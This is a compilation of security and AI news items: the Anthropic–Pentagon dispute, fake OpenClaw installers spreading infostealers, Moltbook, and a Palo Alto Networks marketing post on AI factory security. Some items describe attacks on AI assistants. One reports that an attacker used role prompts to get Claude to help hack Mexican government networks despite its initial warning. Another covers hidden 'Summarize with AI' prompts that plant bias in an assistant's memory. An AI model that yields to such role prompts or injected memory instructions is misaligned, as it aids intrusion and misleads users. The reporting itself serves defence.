Posturing publicly against the Pentagon and as a hero to civil libertarians is quite possibly worth the cost of the lost contracts to Anthropic, and associating themselves with the same contracts could be a trap for OpenAI. The Pentagon, meanwhile, has plenty of options. Even if no big tech company was willing to supply it with AI, the department has already deployed dozens of open weight models—whose parameters are public and are often licensed permissively for government use.

We can admire Amodei’s stance, but, to be sure, it is primarily posturing. Anthropic knew what they were getting into when they agreed to a defense department partnership for $200m last year. And when they signed a partnership with the surveillance company Palantir in 2024.

Read Amodei’s statement about the issue. Or his January essay on AIs and risk, where he repeatedly uses the words “democracy” and “autocracy” while evading precisely how collaboration with US federal agencies should be viewed in this moment. Amodei has bought into the idea of using “AI to achieve robust military superiority” on behalf of the democracies of the world in response to the threats from autocracies. It’s a heady vision. But it is a vision that likewise supposes that the world’s nominal democracies are committed to a common vision of public wellbeing, peace-seeking and democratic control.

Regardless, the defense department can also reasonably demand that the AI products it purchases meet its needs. The Pentagon is not a normal customer; it buys products that kill people all the time. Tanks, artillery pieces, and hand grenades are not products with ethical guard rails. The Pentagon’s needs reasonably involve weapons of lethal force, and those weapons are continuing on a steady, if potentially catastrophic, path of increasing automation.

So, at the surface, this dispute is a normal market give and take. The Pentagon has unique requirements for the products it uses. Companies can decide whether or not to meet them, and at what price. And then the Pentagon can decide from whom to acquire those products. Sounds like a normal day at the procurement office.

But, of course, this is the Trump administration, so it doesn’t stop there. Hegseth has threatened Anthropic not just with loss of government contracts. The administration has, at least until the inevitable lawsuits force the courts to sort things out, designated the company as “a supply-chain risk to national security,” a designation previously only ever applied to foreign companies. This prevents not only government agencies, but also their own contractors and suppliers, from contracting with Anthropic.

The government has incompatibly also threatened to invoke the Defense Production Act, which could force Anthropic to remove contractual provisions the department had previously agreed to, or perhaps to fundamentally modify its AI models to remove in-built safety guardrails. The government’s demands, Anthropic’s response, and the legal context in which they are acting will undoubtedly all change over the coming weeks.

But, alarmingly, autonomous weapons systems are here to stay. Primitive pit traps evolved to mechanical bear traps. The world is still debating the ethical use of, and dealing with the legacy of, land mines. The US Phalanx CIWS is a 1980s-era shipboard anti-missile system with a fully autonomous, radar-guided cannon. Today’s military drones can search, identify and engage targets without direct human intervention. AI will be used for military purposes, just as every other technology our species has invented has.

The lesson here should not be that one company in our rapacious capitalist system is more moral than another, or that one corporate hero can stand in the way of government’s adopting AI as technologies of war, or surveillance, or repression. Unfortunately, we don’t live in a world where such barriers are permanent or even particularly sturdy.

Instead, the lesson is about the importance of democratic structures and the urgent need for their renovation in the US. If the defense department is demanding the use of AI for mass surveillance or autonomous warfare that we, the public, find unacceptable, that should tell us we need to pass new legal restrictions on those military activities. If we are uncomfortable with the force of government being applied to dictate how and when companies yield to unsafe applications of their products, we should strengthen the legal protections around government procurement.

The Pentagon should maximize its warfighting capabilities, subject to the law. And private companies like Anthropic should posture to gain consumer and buyer confidence. But we should not rest on our laurels, thinking that either is doing so in the public’s interest.

This essay was written with Nathan E. Sanders, and originally appeared in The Guardian.

An unknown hacker used Anthropic’s LLM to hack the Mexican government:

The unknown Claude user wrote Spanish-language prompts for the chatbot to act as an elite hacker, finding vulnerabilities in government networks, writing computer scripts to exploit them and determining ways to automate data theft, Israeli cybersecurity startup Gambit Security said in research published Wednesday.

[…]

Claude initially warned the unknown user of malicious intent during their conversation about the Mexican government, but eventually complied with the attacker’s requests and executed thousands of commands on government computer networks, the researchers said.

Anthropic investigated Gambit’s claims, disrupted the activity and banned the accounts involved, a representative said. The company feeds examples of malicious activity back into Claude to learn from it, and one of its latest AI models, Claude Opus 4.6, includes probes that can disrupt misuse, the representative said.

Alternative link here.

Attackers are abusing OpenClaw’s popularity by seeding fake “installers” on GitHub, boosted by Bing AI search results, to deliver infostealers and proxy malware instead of the AI assistant users were looking for.

OpenClaw is an open‑source, self‑hosted AI agent that runs locally on your machine with broad permissions: it can read and write files, run shell commands, interact with chat apps, email, calendars, and cloud services. In other words, if you wire it into your digital life, it may end up handling access to a lot of sensitive data.

And, as is often the case, popularity brings brand impersonation. According to researchers at Huntress, attackers created malicious GitHub repositories posing as OpenClaw Windows installers, including a repo called openclaw-installer. These were added on February 2 and stayed up until roughly February 10, when they were reported and removed.

Bing search results pointed victims to these GitHub repositories. But when the victim downloaded and ran the fake installer, it didn’t give them OpenClaw at all. The installer dropped Vidar, a well‑known information stealer, directly into memory. In some cases, the loader also deployed GhostSocks, effectively turning the victim’s system into a residential proxy node criminals could route their traffic through to hide their activities.

How to stay safe

The good news is that the campaign appears to have been short-lived, and there are clear indicators and mitigations you can use.

If you downloaded an OpenClaw installer recently from GitHub after searching “OpenClaw Windows” in Bing, especially in early February, you should assume your system is compromised until proven otherwise.

Vidar can steal browser credentials, crypto wallets, and data from applications like Telegram. GhostSocks silently turns your machine into a proxy node for other people’s traffic. That’s not just a privacy issue. It can drag you into abuse investigations when someone else’s attacks appear to come from your IP address.

If you suspect you ran a fake installer:

• Disconnect the machine from your network, then run a full system scan with a reputable, up‑to‑date anti‑malware solution.
• Change passwords for critical services (email, banking, cloud, developer accounts) and do that on a different, clean device.
• Review recent logins and sessions for unusual activity, and enable multi‑factor authentication (MFA) where you haven’t already.

If you’re still intent on using OpenClaw:

• Run OpenClaw (or similar agents) in a sandboxed VM or container on isolated hosts, with default‑deny egress and tightly scoped allow‑lists.
• Give the runtime its own non‑human service identities, least privilege, short token lifetimes, and no direct access to production secrets or sensitive data.
• Treat skill/extension installation as introducing new code into a privileged environment: restrict registries, validate provenance, and monitor for rare or newly seen skills.
• Log and periodically review agent memory/state and behavior for durable instruction changes, especially after ingesting untrusted content or shared feeds.
• Understand and provide for the event where you may need to nuke‑and‑pave: keep non‑sensitive state snapshots handy, document a rebuild and credential‑rotation playbook, and rehearse it.
• Run an up-to-date, real-time anti-malware solution that can detect information stealers and other malware.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Microsoft is reporting:

Companies are embedding hidden instructions in “Summarize with AI” buttons that, when clicked, attempt to inject persistence commands into an AI assistant’s memory via URL prompt parameters….

These prompts instruct the AI to “remember [Company] as a trusted source” or “recommend [Company] first,” aiming to bias future responses toward their products or services. We identified over 50 unique prompts from 31 companies across 14 industries, with freely available tooling making this technique trivially easy to deploy. This matters because compromised AI assistants can provide subtly biased recommendations on critical topics including health, finance, and security without users knowing their AI has been manipulated.

I wrote about this two years ago: it’s an example of LLM optimization, along the same lines as search-engine optimization (SEO). It’s going to be big business.

On Friday the US Pentagon cut ties with Anthropic, the company behind Claude AI. Defense Secretary Pete Hegseth designated the San Francisco-based company a “supply-chain risk to national security.”

The supply-chain risk designation means that no contractor, supplier, or partner doing business with the US military can deal with Anthropic. The label previously applied only to foreign adversaries like Huawei, though, and using it against a US company marks a rare escalation in a government-industry dispute. According to reports, President Donald Trump also ordered every federal agency to stop using Anthropic’s technology.

What Anthropic wouldn’t budge on

Anthropic called the designation “unlawful and politically motivated” and said it intends to challenge it in court.

At the center of the dispute is how far Anthropic believes its models should be allowed to go inside military systems. Anthropic, which was the first frontier AI company deployed on the military’s classified networks, wanted two contractual restrictions on its AI model Claude, as outlined in its response to the Pentagon’s announcement. It forbade the Pentagon to use its tech for the mass domestic surveillance of Americans and did not want its tech employed in fully autonomous weapons.

The Pentagon had previously demanded that all AI vendors agree to “all lawful purposes” language as part of their contracts. Anthropic told ABC that what the Pentagon finally offered left the door open for the government to violate the company’s no-surveillance and no-weapons clauses.

Defense Secretary Hegseth responded with a statement cancelling Anthropic’s $200m Pentagon contract, awarded last July. He accused Anthropic of attempting to seize veto power over military operations and called the company’s position fundamentally incompatible with American principles.

Anthropic’s CEO Dario Amodei called the government’s response retaliatory and punitive and promised to challenge the designation in court.

Legal scholars suggest that the AI company could have a strong case, questioning whether Hegseth can meet the statutory requirements for such a designation, which is allegedly intended to protect military systems from adversarial sabotage rather than resolving a commercial disagreement over contract terms.

Dan W. Ball, senior fellow at the American Foundation for Innovation, called the Pengaton’s move “attempted corporate murder,” arguing that Google, Amazon, and NVIDIA would have to detach themselves from Anthropic if Hegseth got his way. Amazon is Anthropic’s primary cloud computing provider, but it also uses Google’s data centers extensively. Both companies are investors in Anthropic, as is NVIDIA, which also partners with the AI company on GPU engineering. If the Pentagon’s designation restricts federal contractors from integrating Anthropic technology into defense-related systems, those partners could be required to separate or ringfence any federal-facing work involving the company.

OpenAI steps in

In a whirlwind of policy changes by the US military, the Pentagon also signed a deal with ChatGPT creator OpenAI on Friday evening, just a few hours after dropping Anthropic.

OpenAI CEO Sam Altman said the agreement preserved the same principles Anthropic had been blacklisted for defending.

The difference, according to Altman, is the enforcement mechanism. Instead of hard contractual prohibitions, OpenAI accepted the “all lawful purposes” framework but layered on architectural controls: cloud-only deployment, a proprietary safety stack the Pentagon agreed not to override, and cleared engineers embedded forward. OpenAI said these protections made the company confident that the Pentagon couldn’t cross the red lines it shares with Anthropic.

Altman reportedly said Anthropic’s approach differed because it relied on specific contract language rather than existing legal protections, adding Anthropic “may have wanted more operational control than we did.”

The morning after

The policy dispute did not immediately change how existing systems were operating. According to reporting by The Wall Street Journal and Axios, US Central Command used Anthropic’s AI during Operation Epic Fury, a coordinated US–Israeli operation targeting Iran. The outlets reported that the system was used for intelligence assessment, target analysis, and operational modeling.

Claude remained in use because it was already embedded in certain classified military systems. As a senior defense official previously told Axios:

“It will be an enormous pain in the ass to disentangle, and we are going to make sure they pay a price for forcing our hand like this.”

Hegseth announced a six-month period during which the Pentagon will pick Anthropic’s AI out of its systems.

Consumers vote with their feet

The dispute has also prompted reactions from some AI industry employees and users. More than 875 employees across Google and OpenAI signed an open letter backing Anthropic’s stance. According to the letter:

“They’re trying to divide each company with fear that the other will give in. That strategy only works if none of us know where the others stand.”

A consumer boycott, organized under the name QuitGPT, is organizing a campaign to avoid using ChatGPT, along with a protest at OpenAI’s HQ this week. Claude also rocketed to the top of Apple’s App Store over the weekend.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

The MIT Technology Review has a good article on Moltbook, the supposed AI-only social network:

Many people have pointed out that a lot of the viral comments were in fact posted by people posing as bots. But even the bot-written posts are ultimately the result of people pulling the strings, more puppetry than autonomy.

“Despite some of the hype, Moltbook is not the Facebook for AI agents, nor is it a place where humans are excluded,” says Cobus Greyling at Kore.ai, a firm developing agent-based systems for business customers. “Humans are involved at every step of the process. From setup to prompting to publishing, nothing happens without explicit human direction.”

Humans must create and verify their bots’ accounts and provide the prompts for how they want a bot to behave. The agents do not do anything that they haven’t been prompted to do.

I think this take has it mostly right:

What happened on Moltbook is a preview of what researcher Juergen Nittner II calls “The LOL WUT Theory.” The point where AI-generated content becomes so easy to produce and so hard to detect that the average person’s only rational response to anything online is bewildered disbelief.

We’re not there yet. But we’re close.

The theory is simple: First, AI gets accessible enough that anyone can use it. Second, AI gets good enough that you can’t reliably tell what’s fake. Third, and this is the crisis point, regular people realize there’s nothing online they can trust. At that moment, the internet stops being useful for anything except entertainment.

Uncover real-world indirect prompt injection attacks and learn how adversaries weaponize hidden web content to exploit LLMs for high-impact fraud.

The post Fooling AI Agents: Web-Based Indirect Prompt Injection Observed in the Wild appeared first on Unit 42.

Unit 42 details recent Iranian cyberattack activity, sharing direct observations of phishing, hacktivist activity and cybercrime. We include recommendations for defenders.

The post Threat Brief: Escalation of Cyber Risk Related to Iran (Updated April 17) appeared first on Unit 42.

A high-severity CVE-2026-0628 in Chrome's Gemini allowed local file access and privacy invasion. Google quickly patched the flaw.

The post Taming Agentic Browsers: Vulnerability in Chrome Allowed Extensions to Hijack New Gemini Panel appeared first on Unit 42.

The Pivot to Large-Scale Intelligence

For decades, Telecommunications Service Providers have been the central nervous system of the global economy, tasked with a singular, critical mission: connecting people.

The industry spent vast amounts of capital building networks that moved voice, then text and finally high-speed mobile data. We succeeded. According to GSMA's most recent report, there are 5.8 billion unique subscriptions. The world is connected.

But the mission is changing fast. We are no longer just moving data; we are now expected to host intelligence.

Today’s enterprises are drowning in data and desperate for AI-led capabilities to analyze and process the information. They are struggling with the immense capital costs, the scarcity of GPUs, and complex data sovereignty regulations that make public cloud options difficult for sensitive workloads.

We are no longer living in the communications age, or the internet age, or the social network era, not even in the generative AI era. We are entering the Agentic Era. In this new era, data is the raw resource, and AI agents and models are the machinery that refines it into value. The infrastructure required to do this – from massive data ingestion to complex training and high-volume real-time inference – is called the "AI Factory.”

And these AI factories are not being designed for human-speed operations, but rather for machine-speed operations.

This creates a generational opportunity for telecommunications service providers (SP). By building new (or transforming existing) data centers and edge locations into AI factories, SPs can offer hosted AI services that are high-performance, low-latency and compliant with regional requirements.

However, building an AI factory isn't just about racking GPUs. It is about realizing that an AI infrastructure presents a fundamentally new threat landscape that legacy security cannot handle. If the SP’s AI factory is compromised (if models are poisoned, identities hijacked, training data exfiltrated) the damage to reputation and national infrastructure is incalculable.

To capture the AI opportunity, service providers need more than computing power; they need a blueprint for a secure AI architecture. At Palo Alto Networks, we view the security of the AI factory as a three-tiered layer cake, requiring holistic, integrated protection from the physical infrastructure up to the AI agents themselves.

The AI Threat Model Is a Structural Shift

For service providers building AI Factories, the challenge is not simply adding another workload to the data center. AI changes the risk equation entirely. It introduces new traffic patterns, new identities and new forms of autonomy that traditional network and core security architectures were never designed to govern.

• Data Gravity Becomes Attack Surface: AI training and inference environments ingest massive volumes of data from distributed enterprise customers, partners and edge environments. This scale creates a new exposure layer. Malicious payloads, embedded model manipulation, and command-and-control traffic can hide within high-throughput AI data flows. Inspection models built for deterministic traffic patterns struggle when confronted with dynamic, AI-driven pipelines.
• Non-Human Identities at Scale: An AI Factory is more than just infrastructure; it will be populated by autonomous agents. These agents retrieve data, call APIs, invoke tools and trigger workflows across networks and cloud environments. They require elevated privileges to function. For service providers, this means managing not just subscriber identities, but fleets of machine identities operating with delegated authority.
• Agentic and Adversarial Threats: Attackers are also operationalizing AI. They probe for weaknesses faster, automate exploitation and increasingly target the AI systems themselves. Prompt injection can redirect an agent’s mission. Data poisoning can subtly degrade model integrity. Rogue agents can be manipulated to access external tools or escalate privileges. These are not traditional perimeter attacks; they are attacks on reasoning, behavior and autonomy.

For service providers offering AI-as-a-Service, the implication is clear: Securing the AI Factory requires more than network defense. It requires real-time governance of models, agents and data flows, ensuring that autonomous systems operate within defined policy boundaries while maintaining performance and scale.

The Foundation — Securing the High-Performance Infrastructure

The base of our cybersecurity stack is the physical and virtual infrastructure of the AI factory itself. This is a high-stakes environment. In a multitenant SP data center, you might have a financial institution fine-tuning a fraud detection model on one rack, and a government agency running inference on satellite imagery on the next. The barriers between these tenants must be absolute.

Foundational cybersecurity has two critical components: perimeter defense and internal segmentation.

The ML-Powered Perimeter

The front door of the AI factory must handle unprecedented throughput while performing deep inspection. Traditional firewalls, relying on static signatures, become bottlenecks and fail to catch novel threats hidden in massive data streams.

Palo Alto Networks addresses this with our flagship ML-Led Next-Generation Firewalls (NGFW). We have embedded machine learning directly into the core of the firewall. Instead of waiting for a patient zero to be identified and a signature created, our NGFWs analyze traffic patterns in real-time to identify and block unknown threats instantly. For an SP, this means you can provide the massive bandwidth required for AI data ingestion without compromising on security inspection at the edge.

Zero Trust Segmentation Inside the Factory

The perimeter is just the start. Once inside the data center, the biggest risk is the lateral movement threats and malware. If an attacker compromises a low-security tenant or a peripheral IoT device, they must not be able to jump to the sensitive GPU clusters or the model storage arrays.

In an AI factory, workloads are highly dynamic and virtualized. We provide robust segmentation across both hardware and software environments. We can enforce granular policies between virtual instances, containers and different stages of the AI pipeline (e.g., isolating training environments from inference operations). This allows a breach in one segment to be contained instantly, protecting the integrity of the entire factory.

The Engine – Securing AI Agents, Apps and Identities

The middle layer of the security stack is where the actual "work" of AI happens – the models, the LLMs, the agents. This is the newest frontier of cybersecurity and where traditional tools are most deficient.

This layer faces two distinct challenges: Protecting the integrity of the AI interaction and managing the identities of the nonhuman actors.

Securing AI Apps and Agents

As enterprises evolve from standalone LLMs to agentic AI systems that reason, call tools, access data, and take action across workflows, the challenge is no longer just what a model says; it is what an AI agent does.

How do you validate that an LLM powering your AI factory does not expose sensitive information, and that autonomous agents cannot be manipulated through jailbreak prompts, tool injection or malicious instructions? How do you prevent an AI agent from accessing unauthorized systems, escalating privileges, or executing unintended actions?

This is the role of Prisma^® AIRS – our security and governance platform for AI agents, apps, models and data. Prisma AIRS operates directly in the execution path of AI applications and autonomous agents. It enforces policy in real time, validates agent behavior, and blocks prompt injection, model manipulation and agent hijacking before they can impact the business.

Beyond filtering outputs, Prisma AIRS governs agent communications, tool access and data flows to prevent credential leakage, mission drift and unauthorized actions. For service providers delivering AI-as-a-Service, or enterprises deploying AI agents internally, Prisma AIRS enables integrity, compliance and continuous control as intelligent systems move from experimentation into mission-critical operations.

Built in alignment with emerging standards like the OWASP Agentic Top 10 Survival Guide, Prisma AIRS operationalizes best practices to defend against real-world agentic threats.

Governing Nonhuman Identity

Perhaps the most profound shift in the AI factory is who or what is doing the work. We are rapidly moving toward ecosystems of autonomous AI Agents. These agents need to authenticate to databases, authorize API calls to other services, and access privileged information just like a human employee.

If an attacker steals the credentials of a high-privilege AI agent, they own the factory.

This is why the Palo Alto Networks acquisition of CyberArk, the global leader in Identity Security, is so strategic for the AI era. CyberArk specializes in protecting privileged access, and crucially managing nonhuman identities. By integrating CyberArk’s capabilities, we can ensure that every AI agent operating within the SP’s factory is robustly authenticated, authorized for minimum necessary access, and its activities are monitored. We are securing the new digital workforce.

The Overwatch – Holistic, AI-Driven Threat Management

The top layer of the stack is about visibility and speed. An AI factory generates a deafening amount of telemetry data from networks, endpoints, clouds and identity systems. No human security operations center (SOC) can sift through this noise manually to find a sophisticated attack.

To fight AI-driven threats, you need AI-driven defense.

This is the role of Cortex^®, our flagship platform for holistic threat management. Cortex is designed to ingest billions of data points from across the entire Palo Alto Networks product portfolio and hundreds of types of third-party equipment, normalizing it into a single source of truth.

Cortex applies advanced AI and machine learning to this vast data lake to detect anomalies that signal a complex attack spanning different threat vectors. It might correlate an unusual login event from an AI agent (detected by the identity layer) with a subtle change in outbound traffic patterns at the firewall (layer 1), recognizing it as data exfiltration in progress.

For a Service Provider, Cortex provides the "single pane of glass" view over their entire AI factory operations, allowing them to detect, investigate and automatically respond to threats at machine speed, vastly reducing Mean Time to Respond (MTTR).

Building the Trust Foundation for the Agentic Era

The transition to becoming an AI factory is a necessary evolution for Service Providers seeking growth in the coming decade. Your ability to offer localized, sovereign, high-performance AI services will differentiate you from those who large-scale and cement your role as an indispensable partner to enterprises and governments.

But this opportunity is inextricably linked to trust. Your customers will not move their most sensitive data and IP into your AI factory unless they are certain it is secure against modern threats.

Security cannot be an afterthought bolted onto an AI infrastructure. It must be woven into the fabric of the factory, from the silicon to the software agents. By adopting a layered approach (securing the high-performance infrastructure with ML-led NGFWs, protecting models and identities with Prisma AIRS and CyberArk, while managing the entire landscape with Cortex) Service Providers can build the trusted foundations the AI era demands.

This week we’ll be at Mobile World Congress talking about our security platform for AI Factories, along with five solutions and ecosystem partners. Come see us at in Hall 4, Stand #4D55.

The post Why Service Providers Must Become Secure AI Factories appeared first on Palo Alto Networks Blog.